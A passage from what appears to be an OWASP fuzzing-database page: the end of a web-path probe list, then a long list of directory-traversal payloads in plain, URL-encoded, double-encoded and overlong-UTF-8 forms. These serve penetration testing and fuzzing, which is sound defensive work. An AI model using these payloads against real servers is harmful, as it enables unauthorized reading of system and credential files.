wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br 